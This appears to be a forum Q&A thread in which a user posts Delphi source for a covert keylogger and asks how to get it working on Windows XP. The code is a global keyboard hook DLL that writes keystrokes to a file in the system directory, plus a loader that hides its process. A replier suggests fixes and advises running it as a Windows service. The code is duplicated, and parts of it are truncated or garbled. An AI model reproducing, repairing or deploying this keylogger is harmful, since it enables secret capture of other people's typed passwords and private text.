nvs28111962
asked on
Hooking in WinXP
Please tell me what I should change the code below to use with WinXP?
-------------------- begin Exchange.pas --------------------------
unit Exchange;
interface
uses Windows;
type
PCommon = ^TCommon;
TCommon = record
HookHandle: THandle;
DumpName:String[255];
Tick:DWord;
Keys:String[255];
end;
const
UniqueHookId = '86385430-0AE6-1BD4-83D3-E CB44ef5700 a';
var
CommonArea : PCommon = NIL;
implementation
var
hMapping : THandle = 0;
SysDir:array[0..Max_Path] of char;
initialization
hMapping := CreateFileMapping($FFFFFFF F, NIL, PAGE_READWRITE, 0,
SizeOf(TCommon), UniqueHookId);
CommonArea := MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0);
GetSystemDirectory(SysDir, Max_Path);
CommonArea^.DumpName:=Stri ng(SysDir) +'\lamer.d at';
finalization
if Assigned(CommonArea) then UnmapViewOfFile(CommonArea );
if hMapping <> 0 then CloseHandle(hMapping);
end.
-------------------- end Exchange.pas --------------------------
-------------------- begin hook.dpr --------------------------
library hook;
uses
Windows,
Exchange;
Procedure WriteToLog(k:String);
var
DF:System.Text;
begin
{$I-}
Assign(DF,CommonArea^.Dump Name);
Append(DF);
If IOresult<>0 then Rewrite(DF);
Write(DF,K);
Close(DF);
end;
Function KeyboardProc(code:integer; // hook code
wParam:WPARAM; // virtual-key code
lParam:LPARAM):LRESULT;std call;expor t;
var key:string;
begin
If Code>=0 then begin
If (HiWord(lParam) and KF_UP)=0 then begin
SetLength(Key,255);
SetLength(Key,GetKeyNameTe xt(lParam, PChar(Key) ,255));
With CommonArea^ do Keys:=Keys+Key;
end;
If (GetTickCount-CommonArea^. Tick>10000 )or(length (CommonAre a^.Keys)>2 00) then begin
WriteToLog(CommonArea^.Key s);
CommonArea^.Keys:='';
CommonArea^.Tick:=GetTickC ount;
end;
end;
Result:=CallNextHookEx(Com monArea^.H ookHandle, code,wPara m,lParam);
end;
function SetHook(Activate : BOOL) : BOOL; stdcall; export;
begin
Result := FALSE;
if not Assigned(CommonArea) then Exit;
if Activate then begin
CommonArea^.HookHandle := SetWindowsHookEx(WH_KEYBOA RD,@Keyboa rdProc,hIn stance, 0);
Result := (CommonArea^.HookHandle <> 0);
end else
if CommonArea^.HookHandle <> 0 then begin
Result := UnhookWindowsHookEx(Common Area^.Hook Handle);
if Result then CommonArea^.HookHandle := 0;
end;
end;
exports
KeyboardProc,
SetHook;
begin
end.
-------------------- end hook.dpr --------------------------
-------------------- begin Loger.dpr --------------------------
program Loger;
uses
Windows;
Type RegisterServiceProcess=fun ction (dwProcessID, dwType:DWORD): Integer; stdcall;
Procedure Hide;
var hLibrary:THandle;
begin
hLibrary := LoadLibrary('KERNEL32.DLL' );
if hLibrary > 32 then
RegisterServiceProcess(Get ProcAddres s(hLibrary ,'Register ServicePro cess'))(Ge tCurrentPr ocessID,1) ;
end;
type SetHook = function (Activate: BOOL): BOOL; stdcall;
var
hSetHook:Pointer;
hinstDLL: LongWord;
begin
hinstDLL:=LoadLibrary('hoo k.dll');
If hinstDLL=0 then exit;
Hide;
hSetHook := GetProcAddress(hinstDLL, 'SetHook');
SetHook(hSetHook)(True);
Sleep(INFINITE);
end.
-------------------- end Loger.dpr --------------------------
-------------------- begin Exchange.pas --------------------------
unit Exchange;
interface
uses Windows;
type
PCommon = ^TCommon;
TCommon = record
HookHandle: THandle;
DumpName:String[255];
Tick:DWord;
Keys:String[255];
end;
const
UniqueHookId = '86385430-0AE6-1BD4-83D3-E
var
CommonArea : PCommon = NIL;
implementation
var
hMapping : THandle = 0;
SysDir:array[0..Max_Path] of char;
initialization
hMapping := CreateFileMapping($FFFFFFF
SizeOf(TCommon), UniqueHookId);
CommonArea := MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0);
GetSystemDirectory(SysDir,
CommonArea^.DumpName:=Stri
finalization
if Assigned(CommonArea) then UnmapViewOfFile(CommonArea
if hMapping <> 0 then CloseHandle(hMapping);
end.
-------------------- end Exchange.pas --------------------------
-------------------- begin hook.dpr --------------------------
library hook;
uses
Windows,
Exchange;
Procedure WriteToLog(k:String);
var
DF:System.Text;
begin
{$I-}
Assign(DF,CommonArea^.Dump
Append(DF);
If IOresult<>0 then Rewrite(DF);
Write(DF,K);
Close(DF);
end;
Function KeyboardProc(code:integer;
wParam:WPARAM; // virtual-key code
lParam:LPARAM):LRESULT;std
var key:string;
begin
If Code>=0 then begin
If (HiWord(lParam) and KF_UP)=0 then begin
SetLength(Key,255);
SetLength(Key,GetKeyNameTe
With CommonArea^ do Keys:=Keys+Key;
end;
If (GetTickCount-CommonArea^.
WriteToLog(CommonArea^.Key
CommonArea^.Keys:='';
CommonArea^.Tick:=GetTickC
end;
end;
Result:=CallNextHookEx(Com
end;
function SetHook(Activate : BOOL) : BOOL; stdcall; export;
begin
Result := FALSE;
if not Assigned(CommonArea) then Exit;
if Activate then begin
CommonArea^.HookHandle := SetWindowsHookEx(WH_KEYBOA
Result := (CommonArea^.HookHandle <> 0);
end else
if CommonArea^.HookHandle <> 0 then begin
Result := UnhookWindowsHookEx(Common
if Result then CommonArea^.HookHandle := 0;
end;
end;
exports
KeyboardProc,
SetHook;
begin
end.
-------------------- end hook.dpr --------------------------
-------------------- begin Loger.dpr --------------------------
program Loger;
uses
Windows;
Type RegisterServiceProcess=fun
Procedure Hide;
var hLibrary:THandle;
begin
hLibrary := LoadLibrary('KERNEL32.DLL'
if hLibrary > 32 then
RegisterServiceProcess(Get
end;
type SetHook = function (Activate: BOOL): BOOL; stdcall;
var
hSetHook:Pointer;
hinstDLL: LongWord;
begin
hinstDLL:=LoadLibrary('hoo
If hinstDLL=0 then exit;
Hide;
hSetHook := GetProcAddress(hinstDLL, 'SetHook');
SetHook(hSetHook)(True);
Sleep(INFINITE);
end.
-------------------- end Loger.dpr --------------------------
Actually...
if hLibrary > 32 then
should be
if hLibrary <> 0 then
...
It's a common mistake, though. In Windows 3.11 it would be valid because anything less than 33 was reserved for the system. These days however the LoadLibrary either returns 0 on an error or any other value if it's valid.
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/win9x/95func_3t0z.asp
This function is Windows 9x specific. On Windows NT-based systems it just doesn't exist. You should just create a Service application instead, by using File/New, then select 'Service Application'.
if hLibrary > 32 then
should be
if hLibrary <> 0 then
...
It's a common mistake, though. In Windows 3.11 it would be valid because anything less than 33 was reserved for the system. These days however the LoadLibrary either returns 0 on an error or any other value if it's valid.
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/win9x/95func_3t0z.asp
This function is Windows 9x specific. On Windows NT-based systems it just doesn't exist. You should just create a Service application instead, by using File/New, then select 'Service Application'.
ASKER
Alex, can you please explain me more about creating Service Application?
Thank you,
Sinh
Thank you,
Sinh
SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
Hi Alex,
please check for me the following code. It did not work when I build it in Delphi 7 and then run in WinXP.
----------begin of Hook.dpr------------------ ---
library Hook;
uses
Windows;
var HookHandle:THandle;
Procedure WriteToLog(k:String);
var
DF:Textfile;
begin
{$I-}
Assign(DF,'keyboad.txt');
Rewrite(df);
Write(DF,K);
Closefile(DF);
end;
Function KeyboardProc(code:integer; // hook code
wParam:WPARAM; // virtual-key code
lParam:LPARAM):LRESULT;std call;expor t;
var key:string;
begin
If Code>=0 then
If (HiWord(lParam) and KF_UP)=0 then begin
SetLength(Key,255);
SetLength(Key,GetKeyNameTe xt(lParam, PChar(Key) ,255));
WriteToLog(Key);
end;
Result:=CallNextHookEx(Hoo kHandle,co de,wParam, lParam);
end;
function SetHook(Activate : BOOL) : BOOL; stdcall; export;
begin
Result := FALSE;
if Activate then begin
HookHandle := SetWindowsHookEx(WH_KEYBOA RD,@Keyboa rdProc,hIn stance, 0);
Result := (HookHandle <> 0);
end else
if HookHandle <> 0 then begin
Result := UnhookWindowsHookEx(HookHa ndle);
if Result then HookHandle := 0;
end;
end;
exports
KeyboardProc,
SetHook;
begin
end.
-------------end of Hook.dpr------------------ --
-----------------------beg in of ServiceProject.dpr-------- ---------- ---------- ---
program ServiceProject;
uses
SvcMgr,
serviceUnit in 'serviceUnit.pas' {Service1: TService};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TSe rvice1, Service1);
Application.Run;
end.
-------------------------e nd of ServiceProject.dpr-------- ---------- ---------- ---
----------------begin of ServiceUnit.pas----------- -----
unit serviceUnit;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs;
type
TService1 = class(TService)
procedure ServiceStart(Sender: TService; var Started: Boolean);
procedure ServiceStop(Sender: TService; var Stopped: Boolean);
procedure ServiceCreate(Sender: TObject);
procedure ServiceDestroy(Sender: TObject);
procedure ServiceExecute(Sender: TService);
private
{ Private declarations }
public
hSetHook:Pointer;
hinstDLL: LongWord;
function GetServiceController: TServiceController; override;
{ Public declarations }
end;
type SetHook = function (Activate: BOOL): BOOL; stdcall;
var
Service1: TService1;
implementation
{$R *.DFM}
procedure ServiceController(CtrlCode : DWord); stdcall;
begin
Service1.Controller(CtrlCo de);
end;
function TService1.GetServiceContro ller: TServiceController;
begin
Result := ServiceController;
end;
procedure TService1.ServiceStart(Sen der: TService; var Started: Boolean);
begin
SetHook(hSetHook)(True);
end;
procedure TService1.ServiceStop(Send er: TService; var Stopped: Boolean);
begin
SetHook(hSetHook)(True);
end;
procedure TService1.ServiceCreate(Se nder: TObject);
begin
hinstDLL:=LoadLibrary('hoo k.dll');
If hinstDLL=0 then exit;
hSetHook := GetProcAddress(hinstDLL, 'SetHook');
end;
procedure TService1.ServiceDestroy(S ender: TObject);
begin
FreeLibrary(hinstDLL);
end;
procedure TService1.ServiceExecute(S ender: TService);
begin
repeat until false;
end;
end.
-------------------------- end of ServiceUnit.pas----------- -----
Thank you,
nvs28111962
please check for me the following code. It did not work when I build it in Delphi 7 and then run in WinXP.
----------begin of Hook.dpr------------------
library Hook;
uses
Windows;
var HookHandle:THandle;
Procedure WriteToLog(k:String);
var
DF:Textfile;
begin
{$I-}
Assign(DF,'keyboad.txt');
Rewrite(df);
Write(DF,K);
Closefile(DF);
end;
Function KeyboardProc(code:integer;
wParam:WPARAM; // virtual-key code
lParam:LPARAM):LRESULT;std
var key:string;
begin
If Code>=0 then
If (HiWord(lParam) and KF_UP)=0 then begin
SetLength(Key,255);
SetLength(Key,GetKeyNameTe
WriteToLog(Key);
end;
Result:=CallNextHookEx(Hoo
end;
function SetHook(Activate : BOOL) : BOOL; stdcall; export;
begin
Result := FALSE;
if Activate then begin
HookHandle := SetWindowsHookEx(WH_KEYBOA
Result := (HookHandle <> 0);
end else
if HookHandle <> 0 then begin
Result := UnhookWindowsHookEx(HookHa
if Result then HookHandle := 0;
end;
end;
exports
KeyboardProc,
SetHook;
begin
end.
-------------end of Hook.dpr------------------
-----------------------beg
program ServiceProject;
uses
SvcMgr,
serviceUnit in 'serviceUnit.pas' {Service1: TService};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TSe
Application.Run;
end.
-------------------------e
----------------begin of ServiceUnit.pas-----------
unit serviceUnit;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs;
type
TService1 = class(TService)
procedure ServiceStart(Sender: TService; var Started: Boolean);
procedure ServiceStop(Sender: TService; var Stopped: Boolean);
procedure ServiceCreate(Sender: TObject);
procedure ServiceDestroy(Sender: TObject);
procedure ServiceExecute(Sender: TService);
private
{ Private declarations }
public
hSetHook:Pointer;
hinstDLL: LongWord;
function GetServiceController: TServiceController; override;
{ Public declarations }
end;
type SetHook = function (Activate: BOOL): BOOL; stdcall;
var
Service1: TService1;
implementation
{$R *.DFM}
procedure ServiceController(CtrlCode
begin
Service1.Controller(CtrlCo
end;
function TService1.GetServiceContro
begin
Result := ServiceController;
end;
procedure TService1.ServiceStart(Sen
begin
SetHook(hSetHook)(True);
end;
procedure TService1.ServiceStop(Send
begin
SetHook(hSetHook)(True);
end;
procedure TService1.ServiceCreate(Se
begin
hinstDLL:=LoadLibrary('hoo
If hinstDLL=0 then exit;
hSetHook := GetProcAddress(hinstDLL, 'SetHook');
end;
procedure TService1.ServiceDestroy(S
begin
FreeLibrary(hinstDLL);
end;
procedure TService1.ServiceExecute(S
begin
repeat until false;
end;
end.
--------------------------
Thank you,
nvs28111962
Remove the ServiceExecute completely since it's stopping your service from processing any messages... You don't need it anyway.
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
Hi Alex,
I removed ServiceExecute and change the parameter of SetHook in stop method to "False" but it did not anyway function. I run ServiceProject.exe and then reboot. After writing some words in the Notepad I could not find any 'keyboad.txt' in the same folder of the ServiceProject.exe. But it should be there according to WriteToLog of the Hook.dpr.
Please take a look again!
Thanks,
nvs28111962
I removed ServiceExecute and change the parameter of SetHook in stop method to "False" but it did not anyway function. I run ServiceProject.exe and then reboot. After writing some words in the Notepad I could not find any 'keyboad.txt' in the same folder of the ServiceProject.exe. But it should be there according to WriteToLog of the Hook.dpr.
Please take a look again!
Thanks,
nvs28111962
Are you sure the service was running when you started it? Furthermore, it might be wise to use a full filename for the textfile, like "c:\Keyboard.txt'.
SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
Actually, the problem is that the service program does not run and load the library. Because, after I started the service program I tried to delete it and the library: it was successful... The same was when I've done reboot...
nvs28111962
nvs28111962
" hLibrary := LoadLibrary('KERNEL32.DLL'
if hLibrary > 32 then
RegisterServiceProcess(Get
end; "